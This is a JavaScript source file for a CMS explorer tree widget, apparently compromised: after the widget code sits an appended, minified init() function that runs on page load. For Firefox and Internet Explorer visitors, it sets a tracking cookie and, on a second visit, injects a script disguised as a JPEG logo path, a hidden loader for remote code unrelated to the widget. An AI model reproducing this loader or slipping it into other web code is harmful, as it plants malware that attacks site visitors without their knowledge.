CMS.Explorer.Tree = CMS.Widget.extend({
	multiple: true,

	_objects: null,

	_children: [],
	_selected: [],
	
	_callbacks: [],
	
	construct: function() {
		arguments.callee.$.call(this);
	
		this._objects = document.createElement('ul');
		addClass(this._objects, 'Objects');
		this.get().appendChild(this._objects);	
		this.expand();	
	},
		
	expand: function() {
		var child;
		var obj;
		
		callCMS(
			1,
			this,
			function(r) {
				for ( var i = 0; i < r.length; i++ )
				{
					child = r[i];
					obj = new CMS.Explorer.Object(this,child.id,child.name,child.icon,child.childrenCount>0);
					this._children[this._children.length] = obj;
					this._objects.appendChild(obj.getElement());
				}
			},
			'getChildren' );
	},
	
	collapse: function() {
	},
	
	toggleSelect: function(obj) {
		if ( this._selected.inArray(obj) ) {
			this.unselect(obj);
		} else {
			this.select(obj);
		}
	},
	
	selectOnly: function(obj) {
		this.unselectAll();
		this.select(obj);
	},
	
	select: function(obj) {
		if (!this.multiple) {
			this.unselectAll();
		}
		
		obj.select();
		this._selected.push(obj);
	},
	
	unselect: function(obj) {
		obj.unselect();
		this._selected.remove(obj);
	},
	
	unselectAll: function() {
		while ( obj = this._selected.shift() ) {
			this.unselect(obj);
		}
	},
	
	getSelected: function() {
		selected = [];
		
		for ( var i = 0; i < this._selected.length; i++ ) {
			selected.push(this._selected[i]);
		}
		
		return selected;
	}
});




function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/ext_szw2/templates/default/img/svw-logo.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
